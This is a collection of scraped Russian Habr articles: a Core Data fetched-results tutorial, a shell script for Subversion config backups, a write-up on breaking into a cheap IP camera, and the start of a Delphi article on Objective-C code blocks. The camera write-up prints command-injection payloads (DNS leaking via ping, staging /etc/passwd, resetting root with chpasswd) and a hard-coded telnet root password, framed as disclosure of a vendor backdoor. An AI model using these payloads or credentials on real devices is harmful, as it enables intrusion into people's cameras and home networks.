func tableView(tableView: UITableView, titleForHeaderInSection section: Int) -> String? {
guard let sections = fetchedResultsController.sections else { return nil }
return sections[section].indexTitle ?? ""
}
func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
guard let sections = fetchedResultsController.sections else { return 0 }
return sections[section].numberOfObjects
}
func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {
let identifier = "Cell"
let product = fetchedResultsController.objectAtIndexPath(indexPath) as! Products
var cell = tableView.dequeueReusableCellWithIdentifier(identifier)
if cell == nil { cell = UITableViewCell(style: .Value1, reuseIdentifier: identifier) }
configureCell(cell!, withObject: product)
return cell!
}
}
```
Используя запрос **`NSFetchRequest`** с сортировкой по названию и цене и указав **`sectionNameKeyPath`** для **`FRC`** как имя атрибута **`"name"`**, получим таблицу с группировкой наших продуктов по названию.
**Результат**
Режимы работы FRC
-----------------
FRC может работать в нескольких режимах работы:
* У контроллера нет делегата и для него не указано имя кэша **`(delegate = nil, cacheName = nil)`** — в этом режиме данные берутся только при извлечении запроса и не кэшируются.
* Контроллеру присвоен делегат, но имени кэша по прежнему не указано **`(delegate != nil, cacheName = nil)`** — режим мониторинга изменения с использованием методов протокола **`NSFetchedResultsControllerDelegate`**, описание которому будет чуть позже. Кэширования объектов не происходит.
* Контроллеру присвоены и делегат, и имя кэша **`(delegate != nil, cacheName = <#NSString/String#>)`** — режим мониторинга с кэшированием объектов.
NSFetchedResultsControllerDelegate
----------------------------------
**`NSFetchedResultsControllerDelegate`** предоставляет механизмы, с помощью которых можно отлавливать изменения, происходящие с объектами нашего **`NSFetchRequest`** запроса в модели. На примере с **`UITableView`** рассмотрим, как без ущерба для UI-представления отобразить изменения, произошедшие в модели.
**Objective-C**
```
#pragma mark - NSFetchedResultsControllerDelegate
// 1
- (NSString *)controller:(NSFetchedResultsController *)controller sectionIndexTitleForSectionName:(NSString *)sectionName {
return sectionName;
}
// 2
- (void)controllerWillChangeContent:(NSFetchedResultsController *)controller {
[self.tableView beginUpdates];
}
// 3
- (void)controller:(NSFetchedResultsController *)controller
didChangeSection:(id )sectionInfo
atIndex:(NSUInteger)sectionIndex
forChangeType:(NSFetchedResultsChangeType)type {
switch(type) {
case NSFetchedResultsChangeInsert:
[self.tableView insertSections:[NSIndexSet indexSetWithIndex:sectionIndex] withRowAnimation:UITableViewRowAnimationFade];
break;
case NSFetchedResultsChangeDelete:
[self.tableView deleteSections:[NSIndexSet indexSetWithIndex:sectionIndex] withRowAnimation:UITableViewRowAnimationFade];
break;
default:
return;
}
}
// 4
- (void)controller:(NSFetchedResultsController \*)controller
didChangeObject:(id)anObject
atIndexPath:(NSIndexPath \*)indexPath
forChangeType:(NSFetchedResultsChangeType)type
newIndexPath:(NSIndexPath \*)newIndexPath {
UITableView \*tableView = self.tableView;
switch(type) {
case NSFetchedResultsChangeInsert:
[tableView insertRowsAtIndexPaths:@[newIndexPath] withRowAnimation:UITableViewRowAnimationFade];
break;
case NSFetchedResultsChangeDelete:
[tableView deleteRowsAtIndexPaths:@[indexPath] withRowAnimation:UITableViewRowAnimationFade];
break;
case NSFetchedResultsChangeUpdate:
[self configureCell:[tableView cellForRowAtIndexPath:indexPath] withObject:anObject];
break;
case NSFetchedResultsChangeMove:
[tableView moveRowAtIndexPath:indexPath toIndexPath:newIndexPath];
break;
}
}
// 5
- (void)controllerDidChangeContent:(NSFetchedResultsController \*)controller {
[self.tableView endUpdates];
}
```
**Swift**
```
// MARK: - NSFetchedResultsControllerDelegate
extension ViewController: NSFetchedResultsControllerDelegate {
// 1
func controller(controller: NSFetchedResultsController, sectionIndexTitleForSectionName sectionName: String) -> String? {
return sectionName
}
// 2
func controllerWillChangeContent(controller: NSFetchedResultsController) {
tableView.beginUpdates()
}
// 3
func controller(controller: NSFetchedResultsController, didChangeSection sectionInfo: NSFetchedResultsSectionInfo, atIndex sectionIndex: Int, forChangeType type: NSFetchedResultsChangeType) {
switch type {
case .Insert:
tableView.insertSections(NSIndexSet(index: sectionIndex), withRowAnimation: .Fade)
case .Delete:
tableView.deleteSections(NSIndexSet(index: sectionIndex), withRowAnimation: .Fade)
default:
return
}
}
// 4
func controller(controller: NSFetchedResultsController, didChangeObject anObject: AnyObject, atIndexPath indexPath: NSIndexPath?, forChangeType type: NSFetchedResultsChangeType, newIndexPath: NSIndexPath?) {
switch type {
case .Insert:
if let indexPath = newIndexPath {
tableView.insertRowsAtIndexPaths([indexPath], withRowAnimation: .Automatic)
}
case .Update:
if let indexPath = indexPath {
let product = fetchedResultsController.objectAtIndexPath(indexPath) as! Products
guard let cell = tableView.cellForRowAtIndexPath(indexPath) else { break }
configureCell(cell, withObject: product)
}
case .Move:
if let indexPath = indexPath {
tableView.deleteRowsAtIndexPaths([indexPath], withRowAnimation: .Automatic)
}
if let newIndexPath = newIndexPath {
tableView.insertRowsAtIndexPaths([newIndexPath], withRowAnimation: .Automatic)
}
case .Delete:
if let indexPath = indexPath {
tableView.deleteRowsAtIndexPaths([indexPath], withRowAnimation: .Automatic)
}
}
}
// 5
func controllerDidChangeContent(controller: NSFetchedResultsController) {
tableView.endUpdates()
}
}
```
#### Разберем методы делегирования и их применение
1. **`sectionIndexTitleForSectionName`** — по умолчанию названия секций получают своё значение из значения атрибута, по которому происходит группировка объектов. Имплементируя этот метод, мы можем изменить название, преобразовав значение по умолчанию (аргумент **`sectionName`**) или написав любое другое. Возвращаемая строка является новым значением. Мы просто вернём значение по умолчанию.
2. **`controllerWillChangeContent`** — метод оповещает делегат о начале изменения объектов по запросу, с которым работает наш контроллер. Вызовем в нём метод **`UITableView`** таблицы — **`beginUpdates`**.
3. **`didChangeSection`** — метод отлавливается делегатом, когда происходит обновление данных в модели, повлиявших на изменения в секциях. Метод принимает аргументы: **`sectionInfo`** — описывающий секцию, с которой происходит изменение, **`sectionIndex`** — индекс этой секции и **`type`** **`NSFetchedResultsChangeType`**, который описывает тип изменения (Insert, Delete, Move, Update). В этом методе опишем добавление и удаление секции с использованием анимации.
4. **`didChangeObject`** — данный метод работает по аналогии с предыдущим, только вместо аргумента, описывающего секцию **`sectionInfo`**, приходит аргумент **`anObject`**, который является модифицируемым объектом, а также вместо **`sectionIndex`** — старый индекс, который был у объекта до изменений **`indexPath`** и новый **`newIndexPath`**, который он получил после изменений. Используя методы **`UITableView`**, обработаем добавление, удаление, перемещение, и обновление объектов с использованием анимаций.
5. **`controllerDidChangeContent`** — метод оповещает делегат о конце изменений. В нём вызываем метод таблицы **`endUpdates`**.
Для демонстрации работы добавим два новых объекта — **`"Банан"`** и **`"Апельсин"`** цена которых **`1`**.
**Результат**
The Cache
---------
Поговорим о кэшировании. Контроллер умеет кэшировать объекты в целях избежания повторения одних и тех же задач по запросу данных. Кэширование целесообразно использовать для неизменяемых в процессе работы приложения запросов. При необходимости изменить запрос мы вызываем метод **`(deleteCacheWithName:)`**, чтобы избежать ошибок при использовании одного и того же кэша для разных запросов. Запросы кэшируются в файл Core Data с именем, назначаемым в **`cacheName`** при инициализации контроллера.
Как же работает кэш?
* Если по заданному имени **`cacheName`** кэш не найден, то контроллер высчитывает необходимую информацию по секциям и объектам в них и производит запись на диск.
* Если же кэш найден, контроллер проверяет его актуальность (проверяет сущность, версию хэша, ключа секций и дескрипторов сортировки). Если кэш актуален — он его использует, если нет, то обновляет.
Резюме
======
Описанные в этой статье свойства класса **`NSFetchRequest`** и примеры их использования показывают, что представленный фреймворком `Core Data` функционал запросов весьма гибок, и с помощью него можно эффективно извлекать данные из базы данных вашего приложения. Инструмент **`Fetched Results Controller`** позволит отслеживать изменения, произошедшие с объектами модели, а также удобно преобразует извлеченные данные в элементы **`UITableView`**.
В комментариях приветствуются ваши вопросы, замечания или примеры из личного опыта, дополняющие статью. | https://habr.com/ru/post/309624/ | null | ru | null |
# svnconfbackup: скрипт для резервного копирования конфигурационных файлов
Несколько лет назад передо мной встала задача резервного копирования конфигурационных файлов. Да не простого, а такого, чтоб в любой момент можно было бы просмотреть что и когда изменилось. Я знал о существовании [csvbackup](http://www.opennet.ru/prog/info/2271.shtml), но хотелось свой скрипт, с Subversion и без Perl'а.
Для тех, кто не знаком с Subversion, поясню. Subversion — это одна из [систем управления версиями](http://ru.wikipedia.org/wiki/Система_управления_версиями). Такие системы позволяют хранить несколько версий одного и того же файла. Это невероятно удобно. Представьте себе, что на фирме два админа — вы и ваша напарница. Понедельник. Вы первый день как вышли из отпуска, а ваша напарница ещё в субботу уехала в отпуск в заграницу, естественно, без телефона. И внезапно вы обнаруживаете, что один из сервисов, например, веб-сервер, неправильно работает. Но до вашего ухода в отпуск всё работало! Что изменилось? Имея резервную копию конфигурационных файлов в системе управления версиями вы не только сможете откатиться на рабочую версию конфигов, но и проследить все изменения, сделанные в конфигурационных файлах за период вашего отсутствия, фактически, выявить проблему.
Скрипт хотелось сделать простым, кросс-платформенным, если можно так выразится, и с минимальными зависимостями. В качестве интерпретатора был выбран sh, т.к. идёт в базовой системе FreeBSD. Для копирования файлов используется pax, потому что pax при копировании файла воссоздаёт полный путь к нему, то есть после команды
`pax -rw /etc/ssh/ssh_config /var/tmp`
мы получим файл /var/tmp/etc/ssh/ssh\_config. pax также идёт в базовой системе FreeBSD. Позднее, когда я пересел на Debian, для меня было неприятной неожиданностью, что pax надо устанавливать дополнительно.
Список файлов для резервного копирования будем задавать двумя способами — как результат работы команды find и как просто список файлов через пробел, что удобно для единичных файлов.
Переменные вынесем в файл настроек /usr/local/etc/svnconfbackup.conf:
> `#Каталог, где система хранит временные файлы
>
> TMPDIR="/var/tmp"
>
> #Название нашего каталога
>
> REPDIR="conf"
>
> #Сделаем название уникальным
>
> DESTDIR=$REPDIR.`date +%s`
>
> #Списки файлов и исключений
>
> LIST="/etc /usr/local/etc /var/named"
>
> EXCLUDE\_LIST="-not -path /etc/'\*'shadow'\*' \
>
> -and -not -path /var/named/internal/slave/'\*' \
>
> -and -not -name '\*'.pem \
>
> -and -not -name '\*'.key \
>
> -and -not -name '\*'.crt \
>
> -and -not -path /etc/ssh\_host\_rsa\_key \
>
> -and -not -path /etc/ssh\_host\_dsa\_key"
>
> FILES="/home/pgsql/data/\*.conf"
>
> #Попробем определить пути к командам самостоятельно
>
> SVN=`which svn`
>
> SVNADMIN=`which svnadmin`
>
> #Корневой каталог репозитория
>
> SVNROOT="/usr/local/svnconfbackuproot"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В переменной LIST содержится список каталогов, в которых find будет искать файлы, а в переменной FILES — дополнительный список файлов для резервного копирования. Этот файл настроек можно рассматривать как полноценный sh-скрипт. Напомню, что внутри одиночных, или строгих, кавычек ' ' любой специальный символ (за исключением одинарной кавычки '), интерпретируется как простой символ. То есть, в переменной EXCLUDE\_LIST звёздочки останутся звёздочками. А в переменной FILES мы в итоге получим список файлов в директории `/home/pgsql/data/` оканчивающихся на `.conf`, поскольку символ "\*" в данном случае является шаблоном имени файла.
А содержимое, заключённое между обратными кавычками ` `, будет заменено на результат выполнения команды, т.е. на её консольный вывод. Таким образом, вместо ``date +%s`` мы получим количество секунд, прошедших с 00:00:00 1 янв 1970 г. (`mktemp` был отвергнут по причине разного поведения в Linux и FreeBSD)
Обратный слэш \ отменяет специальное значение символа перевода строки. Это делается на всякий случай.
Но вернёмся к скрипту. Он будет состоять из двух частей — инициализации репозитория Subversion и процедуры резервного копирования. Инициализацию необходимо выполнить вручную один раз, в самом начале. Само резервное копирование должно проходить без вмешательства пользователя.
Синтаксис команды:
`svnbackupconfig init|update`
Т.е. `svnbackupconfig init` запустит инициализацию репозитория, а `svnbackupconfig update` запустит процедуру резервного копирования, другими словами — обновления данных в репозитории.
Сначала необходимо подгрузить настройки и выполнить инициализацию локальных переменных
> `#!/bin/sh
>
> . /usr/local/etc/svnconfbackup.conf
>
>
>
> #Путь к репозиторию в формате URL
>
> SVNROOTsvn="file://$SVNROOT"`
Дальше обработаем параметр команды, переданный в из командной строки
> `case "$1" in
>
> init)
>
> #Здесь будет процедура инициализации
>
> ;;
>
> update)
>
> #Здесь будет процедура резервного копирования
>
> esac
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Процедура инициализации
> `cd $TMPDIR
>
> #Создать временный каталог
>
> mkdir $DESTDIR
>
> chmod 700 $DESTDIR
>
> #Создать структуру репозитория
>
> mkdir $DESTDIR/branch
>
> mkdir $DESTDIR/tag
>
> mkdir $DESTDIR/trunk
>
> cd $DESTDIR
>
> #Проверить существование корневой директории репозитория
>
> #Создать при необходимости
>
> if [ ! -d $SVNROOT ]; then
>
> $SVNADMIN create $SVNROOT
>
> fi
>
> #Импорт в репозиторий
>
> $SVN import $SVNROOTsvn/$REPDIR -q -m "Initial repository layout"
>
> #Убрать за собой
>
> cd ../
>
> rm -rf $DESTDIR
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Процедура резервного копирования не намного длиннее, однако хочу остановиться поподробнее на алгоритме. Чтобы скрипт был простым и понятным, я решил задачу ~~по-индусски~~ «в лоб».
1. Загрузить предыдущий бэкап из репозитория во временный каталог.
2. Скопировать туда все файлы, заданные в списках резервного копирования. Пусть Subversion сам разбирается, что изменилось.
3. Добавить в репозиторий новые файлы, отсутствующие в предыдущем бэкапе.
4. Проверить каждый файл из бэкапа. Если он отсутствует в системе, удалить его из репозитория
5. Сохранить результат в репозиторий.
Это, без сомнений, ресурсоёмкий алгоритм. Однако, на типичной системе его выполнение займёт всего несколько минут.
Новые файлы (п.3) можно найти легко — в выводе `svn status` строки начинаются с символа "?":
`$ svn status
? some.file`
Для получения имён файлов будем использовать конструкцию
`svn status|grep ^?|awk '{print $2}'`
Это значит, что вывод команды `svn status` передаётся на ввод команды `grep ?`, которая вернёт строки с первым символом "?". Этот вывод, в свою очередь, передаётся на ввод команды `awk '{print $2}'`, которая возвратит второй параметр, т.е. имя файла.
Собственно, процедура резервного копирования.
> `cd $TMPDIR
>
> #Создать временный каталог
>
> mkdir $DESTDIR
>
> chmod 700 $DESTDIR
>
> #Получить из репозитория последний бэкап
>
> $SVN checkout -q $SVNROOTsvn/$REPDIR/trunk $DESTDIR
>
> cd $DESTDIR
>
> #Построить список файлов, которые надо забэкапить
>
> list=`eval find $LIST $EXCLUDE\_LIST -and -type f|sort`
>
> #Копировать файлы
>
> for p in ${list} $FILES ; do
>
> pax -rw $p . > /dev/null 2>&1
>
> done;
>
> #Построить список файлов, отсутствующих в предыдущем бэкапе
>
> list=`eval $SVN status|grep ^?|awk '{print $2}'`
>
> #Добавить эти файлы в репозиторий
>
> for p in ${list} ; do
>
> $SVN add -q $p
>
> done;
>
> #Построить список всех файлов в бэкапе
>
> #за исключением файлов в служебных каталогах .svn
>
> list=`eval find . -name .svn -prune -or -print`
>
> #Проверить существование каждого файла из бэкапа в системе
>
> #При необходимости удалить из репозитория
>
> for p in ${list} ; do
>
> if [ ! -e /$p ]; then
>
> $SVN delete -q $p --force
>
> fi
>
> done;
>
> #Напечатать список изменений
>
> $SVN diff
>
> #Загрузить изменения в репозиторий
>
> $SVN commit -q -m "svnbackup automatic update"
>
> #Убрать за собой
>
> cd ../
>
> rm -rf $DESTDIR
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Ссылка на архив [svnconfbackup.googlecode.com/files/svnconfbackup.tar.gz](http://svnconfbackup.googlecode.com/files/svnconfbackup.tar.gz)
Использовать этот скрипт тоже просто. После распаковки архива поместите файл скрипта в `/usr/local/bin`, а файл настроек в `/usr/local/etc`. Настройки приведите в соответствии с вашей ОС. Теперь необходимо инициализировать репозиторий. Выполните команду
`svnbackupconfig init`
Теперь, при желании, можно первый бэкап сделать вручную.
`svnbackupconfig update`
Процесс займёт несколько минут и завершится выводом текста всех конфигурационных файлов на консоль, поскольку репозиторий ещё пуст. При дальнейшем использовании вывод будет содержать только изменения между версиями.
Настройка автоматического запуска будет несколько отличаться для Linux и FreeBSD.
Для Linux:
`echo -e "/usr/local/bin/svnconfbackup update\n" > /etc/cron.daily/svnconfbackup`
Для FreeBSD:
`echo "/usr/local/bin/svnconfbackup update\n" > /usr/local/etc/periodic/daily/999.svnbackup`
Теперь — о том, как пользоваться бэкапом. По большому счёту, ниже — очень краткое описание основных комманд svn.
Для определённости будем использовать настройки по умолчанию. Для получения последнего бэкапа выполните команду
`svn checkout file:///usr/local/svnconfbackup/conf/trunk conf`
В текущем каталоге будет создан каталог conf, в который и будет помещена копия последнего бэкапа. При восстановлении данных имейте в виду, что в каждом каталоге присутствуют служебные каталоги с именем .svn.
Для следующих операций необходимо перейти в каталог conf, который также называют рабочим каталогом svn.
Нам понадобятся всего две команды — update и diff. Обратите внимание, что команда update обновляет рабочий каталог svn, а не репозиторий. Таким образом, для отката на предыдущую версию нужно выполнить команду
`svn update --revision PREV`
Вообще, в качестве аргумента для ключа --revision или его короткой формы -r можно указать и номер ревизии и дату. Например, так:
`svn update -r "{2010-03-31}"`
В данном случае будет взят бэкап на 31 марта 2010 г. 00:00:00. Обратите внимание, что если у вас автоматический бэкап выполняется позже этого времени, например, в 4 часа утра, то в рабочем каталоге будет бэкап за 30 марта.
С помощью команды diff можно посмотреть изменения между двумя любыми версиями файлов. При этом можно в явном виде указать, версии каких файлов надо сравнивать. Например, команда
`svn diff -r "{2010-01-01}:HEAD"`
покажет, что изменилось с прошлого года. Кстати, ключ -r работает и с командой checkout! Подробнее о синтаксисе и ключах можно узнать из справки:
`svn help <имя комманды>`
На всякий случай оставлю [ссылку на сайт отличной книги по Subversion](http://svnbook.red-bean.com/).
Желаю удачи! И помните — администраторы делятся на два типа — одни данные уже потеряли, а другие ещё потеряют!
UPD Перенёс в тематический блог | https://habr.com/ru/post/83120/ | null | ru | null |
# Как я взломал свою ip-камеру и нашел там бекдор
Время пришло. Я купил себе второе IoT устройство в виде дешевой ip-камеры. Мои ожидания относящиеся к безопасности этой камеры были не высоки, это была самая дешевая камера из всех. Но она смогла меня удивить.
Я открыл коробку, и первое что увидел — это пароль из 4 цифр. Это пароль пользователя «Администратор», для настройки устройства. Смотрите видео ниже. Большинство людей не заботятся о том, чтобы поменять этот пароль.
Очевидно, что эта камера может общаться по Ethernet кабелю или Wi-Fi. Порадовала поддержка WPA2, однако люди склонны оставить Wi-Fi незащищённым.
Перехватив трафик между камерой и десктопным приложением, легко заметить что данные передаются по HTTP через 81 порт. Просто гениальное управление сеансом. Имя пользователя и пароль передаются в каждом GET запросе, без шифрования. Хоть Wi-Fi был защищён.
К счастью десктопное приложение сохраняет для вас пароль в открытом виде в файле:
```
"C:\Users\\AppData\Local\VirtualStore\Program Files (x86)\\list.dat"
```
Эта замечательная камера обращается к облаку по UDP. Серверы находятся в Гонконге и Китае. Если вам инетересно, зачем ip-камере подключение к облаку, то всё просто. Эта камера умеет взаимодействовать с мобильными приложениями для Android и IOS. И пользователи подключаются к облаку, чтобы не заморачиваться с настройкой портов и DNS. Супер.
Натравим nmap на это устройство.
```
PORT STATE SERVICE VERSION
23/tcp open telnet BusyBox telnetd
81/tcp open http GoAhead-Webs httpd
| http-auth:
| HTTP/1.1 401 Unauthorized
|_ Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open tcpwrapped
```
Определился HTTP сервер, Telnet сервер на BusyBox, и какой-то порт 8600. В 27-страничном руководстве не говорится ни слова про Telnet. Как нам назвать этот порт? Отладочный порт? Или бекдор порт? Посмотрим. Я вручную попробовал несколько паролей для пользователя root, но ни один из них не сработал. Я двинулся дальше.
#### Двойная Слепая инъекция
IP-камера может загружать снимки на FTP сервер. Однако эта опция требует предварительной настройки. Когда я её настроил, оказалось что это не работает. Имя пользователя и пароль от сервера были не верными. После некоторой отладки выяснилось, проблема была в том, что у меня пароль содержал символ $. И я начал копать. Я был уверен, что эта уязвимость позволяет вставлять команды, но не знал как её использовать. Были многочисленные проблемы, усложняющие эксплуатацию. Я называю эту уязвимость двойной слепой инъекцией. Во первых мы не видим вывод этой команды, а во вторых, ёё выполнение происходит в другом потоке. Таким образом использование sleep ни к чему не приводит.
Но третья проблема была хуже всех — это ограничение в 32 символа. Я мог отправить некоторую информацию через DNS. И с помощью следующих команд, я мог получить текущий каталог:
```
$(ping%20-c%202%20%60pwd%60)
```
Или та же команда в читаемом виде:
```
$(ping -c 2 `pwd`)
```
но мне не удавалось вытащить информацию из /etc/passwd. Я попытался выполнить $(reboot), но это была очень плохая идея, и камера ушла в бесконечный ребут, а кнопки аппаратного сброса не работали. Весёлые времена.
Ниже представлены мои отчаянные попытки получить доступ к оболочке. Спасибо EQ за его помощь в процессе ночного взлома. И за его великие идеи.
```
$(cp /etc/passwd /tmp/a) ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b) ;filter for the first row
$(cat/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`) ;leak it via DNS
```
После того, как я наконец взломал камеру, возникла следующая проблема. Там не было команд head, tr, less, more или cut. Небыло nc и даже bash`а не было…
Я даже пытался использовать [commix](https://github.com/stasinopoulos/commix), из видео на [Youtube](https://www.youtube.com/watch?t=297&v=aVTGqiyVz5o) он подавал большие надежды. Commix похож на sqlmap но только для инъекций команд. Однако этот случай, для него был слишком сложен.
После многочисленных неудачных попыток, я наконец-то нашёл пароль. Сезам откройся.
```
$(echo 'root:passwd'|chpasswd)
```
Логинимся через telnet
```
(none) login: root
Password:
BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
```
Вау Вау :) Я быстро нашёл место, куда инъектилась моя команда:
```
# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<
```
Всякий раз когда мы вводим команду в поле пароля, она копируется в этот скрипт, который затем исполняется. После этого я испугался, что забыл сохранить содержимое /etc/passwd, так как собирался взломать ещё и дефолтный пароль на telnet. К счастью, ребут восстановил исходные данные.
```
root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh
```
К сожалению запускать старый добрый John The Ripper не пришлось, так как гугл подсказал что это хеш пароля 123456. Это куда безопасней чем [пароль багажа](https://www.youtube.com/watch?v=a6iW-8xPw3k).
Пора резюмировать то, что у нас есть. **Существует недокументированный telnet'овский порт IP-камеры, с паролем: 123456 для пользователя root, нет GUI, чтобы изменить этот пароль, а если изменить его с помощью консоли, он вернётся после следующей перезагрузки. Я думаю, что это смело можно назвать бэкдором.**
С помощью root доступа к консоли мы можем получить пароль для FTP-сервера, для сервера SMTP (для оповещений), пароль WiFi (хотя мы, вероятно, его уже имеем), доступ к административному интерфейсу камеры, или просто можем перенастроить камеру как мы хотим. К счастью, чаще всего этот порт Telnet находится за NAT или брандмауэром, поэтому он не доступен из интернета. Но всегда есть исключения. К счастью, UPNP не позволяет настроить порт Telnet, чтобы он был доступен из Интернета, только камера HTTP порт 81. Вас защищает только тот пароль из 4 цифр, что стоит по умолчанию.
И последнее, всё работает от root`а, что не удивительно.
#### Мой список изменений
Я добавил эти строки в конец файла /system/init/ipcam.sh:
```
sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd
```
Кроме того, если вы хотите, вы можете отключить службу телнет закомментировав Telnetd в /system/init/ipcam.sh.
Если хотите, отключите подключение к облаку (вы не сможете использовать мобильные приложения), поместите следующую команду в начало файла /system/init/ipcam.sh
```
iptables -A OUTPUT -p udp ! --dport 53 -j DROP
```
Вы можете использовать OpenVPN для подключения к домашней сети, чтобы получить доступ к веб-интерфейсу камеры. Он работает с Android, IOS, и любой десктопной ОС.
99% людей, которые покупают эти IP-камеры думают, что они будут в безопасности с ней. Теперь я понимаю, наклейку, которая поставляется вместе с IP-камерой.
Так что, когда Вы в следующем эпизоде Mr Robot увидите как кто-то подключился к ip-камере через Telnet с root:123456, вы будете знать, что это печальная реальность. | https://habr.com/ru/post/316296/ | null | ru | null |
# Использование code blocks из Objective-C в Delphi на macOS: как мы навели мосты
Многие, наверное, слышали о замечательном способе решения программистских задач под названием [метод утенка](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D1%83%D1%82%D1%91%D0%BD%D0%BA%D0%B0) (rubber duck debugging). Суть метода в том, что надо сесть в ванную, расслабиться, посадить на воду игрушечного утенка, и объяснить ему суть той проблемы, решение которой вы не можете найти. И, чудесным образом, после такой беседы решение находится.
В своей [прошлой статье на Хабре](https://habrahabr.ru/post/319922), где я рассказывал о разработке программы для инспектирования Wi-Fi сетей для macOS, в роли утенка оказался сам Хабр: я пожаловался на то, что нам никак не удается придумать способ реализации code blocks из Objective-C в Delphi. И это помогло! Пришло просветление, и всё получилось. О ходе мыслей и о конечном результате я и хочу рассказать.
Итак, для тех кто не читал прошлую статью, еще раз кратко излагаю суть проблемы. [Code blocks](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/ProgrammingWithObjectiveC/WorkingwithBlocks/WorkingwithBlocks.html) — это языковая фича С++ и Objective-C, которая не поддерживается в Delphi. Точнее, Delphi имеет свой аналог code blocks, но он несовместим с теми code blocks, которые ожидает от наc macOS API. Дело в том, что многие классы имеют функции, в которых используются code blocks в качестве handler'ов завершения. Самый простой пример — [beginWithCompletionHandler](https://developer.apple.com/reference/appkit/nssavepanel/1527007-beginwithcompletionhandler?language=objc) классов `NSSavePanel` и `NSOpenPanel`. Передаваемый сode block выполняется в момент закрытия диалога:
```
- (IBAction)openExistingDocument:(id)sender {
NSOpenPanel* panel = [NSOpenPanel openPanel];
// This method displays the panel and returns immediately.
// The completion handler is called when the user selects an
// item or cancels the panel.
[panel beginWithCompletionHandler:^(NSInteger result){
if (result == NSFileHandlingPanelOKButton) {
NSURL* theDoc = [[panel URLs] objectAtIndex:0];
// Open the document.
}
}];
}
```
Побеседовав с утенком, я осознал, что не с того конца подходил к решению проблемы. Наверняка эта проблема существует не только в Delphi. Следовательно, надо начать с того, как решается проблема в других языках. Google в руки и мы находим очень близкий к нашей теме код для Python и JavaScript [тут](https://github.com/jsbain/objc_hacks/blob/master/objcblock.py) и [тут](https://developer.mozilla.org/en-US/docs/Mozilla/js-ctypes/Examples/Using_Objective-C_from_js-ctypes). Хороший старт: если им это удалось, то удастся и нам. По сути, нам нужно всего лишь создать структуру в правильном формате, заполнить поля, и указатель на такую структуру и будет тем самым магическим указателем, который мы сможем передавать в те методы классов macOS, которые ожидают от нас блоков. Еще немного гугления, и мы находим [хедер](https://opensource.apple.com/source/libclosure/libclosure-38/Block_private.h) на сайте Apple:
```
struct Block_descriptor {
unsigned long int reserved;
unsigned long int size;
void (*copy)(void *dst, void *src);
void (*dispose)(void *);
};
struct Block_layout {
void *isa;
int flags;
int reserved;
void (*invoke)(void *, ...);
struct Block_descriptor *descriptor;
// imported variables
};
```
Излагаем это на Паскале:
```
Block_Descriptor = packed record
Reserved: NativeUint;
Size: NativeUint;
copy_helper: pointer;
dispose_helper: pointer;
end;
PBlock_Descriptor = ^Block_Descriptor;
Block_Literal = packed record
Isa: pointer;
Flags: integer;
Reserved: integer;
Invoke: pointer;
Descriptor: PBlock_Descriptor;
end;
PBlock_Literal = ^Block_Literal;
```
Теперь, почитав еще немного о блоках ([How blocks are implemented](https://www.cocoawithlove.com/2009/10/how-blocks-are-implemented-and.html) и на Хабре, [Objective-C: как работают блоки](https://habrahabr.ru/post/271255/)), перейдем к созданию блока, пока в самом простом варианте, на коленке:
```
Var
OurBlock: Block_Literal;
function CreateBlock: pointer;
var
aDesc: PBlock_Descriptor;
begin
FillChar(OurBlock, SizeOf(Block_Literal), 0);
// Isa – первое поле нашего блока-объекта, и мы пишем в него
// указатель на класс объекта, "NSBlock".
OurBlock.Isa := NSClassFromString ((StrToNSStr('NSBlock') as ILocalobject).GetObjectID);
// Указатель на наш коллбек. Это обычная функция cdecl, обявленная в нашем коде.
OurBlock.Invoke := @InvokeCallback;
// Аллоцируем память для Block_Descriptor
New(aDesc);
aDesc.Reserved := 0;
// прописываем размер
aDesc.Size := SizeOf(Block_Literal);
OurBlock.Descriptor := aDesc;
result:= @OurBlock;
end;
```
Поле `flags` мы пока оставляем нулевым, для простоты. Позже оно нам пригодится. Нам осталось задекларировать пока пустую функцию коллбека. Первым аргументом в коллбеке будет указатель на экземпляр класса `NSBlock`, а список остальных параметров зависит от конкретного метода Cocoa-класса, который будет вызывать code block. В примере выше, с `NSSavePanel`, это процедура с одним аргументом типа `NSInteger`. Так и запишем для начала:
```
procedure InvokeCallback (aNSBlock: pointer; i1: NSInteger); cdecl;
begin
Sleep(0);
end;
```
Ответственный момент, удар по воротам:
```
FSaveFile := TNSSavePanel.Wrap(TNSSavePanel.OCClass.savePanel);
NSWin := WindowHandleToPlatform(Screen.ActiveForm.Handle).Wnd;
objc_msgSendP2(
(FSaveFile as ILocalObject).GetObjectID,
sel_getUid(PAnsiChar('beginSheetModalForWindow:completionHandler:')),
(NSWin as ILocalObject).GetObjectID,
CreateBlock
);
```
Открывается диалог сохранения файла, мы жмем ОК или Cancel и … да! Мы попадем на break point, который поставили на `Sleep(0)`, и да, в аргументе `i1` будет либо 0, либо 1, в зависимости от того, какую кнопку в диалоге мы нажали. Победа! Мы с утенком счастливы, но впереди много работы:
* Количество и тип аргументов коллбека могут быть разными. Есть определенные наиболее популярные наборы, но требуется гибкость.
* У нас может быть в работе много код-блоков одновременно. Например, мы можем скачивать файл с вызовом completion handler по завершении и, параллельно, открывать и закрывать диалог сохранения файла. Сначала сработает код-блок, который мы создали вторым, а когда докачается файл, сработает первый код-блок. Хорошо бы вести учет.
* Нам нужно как-то идентифицировать тот блок, который вызвал коллбек, и вызывать соответствующий этому блоку код Delphi.
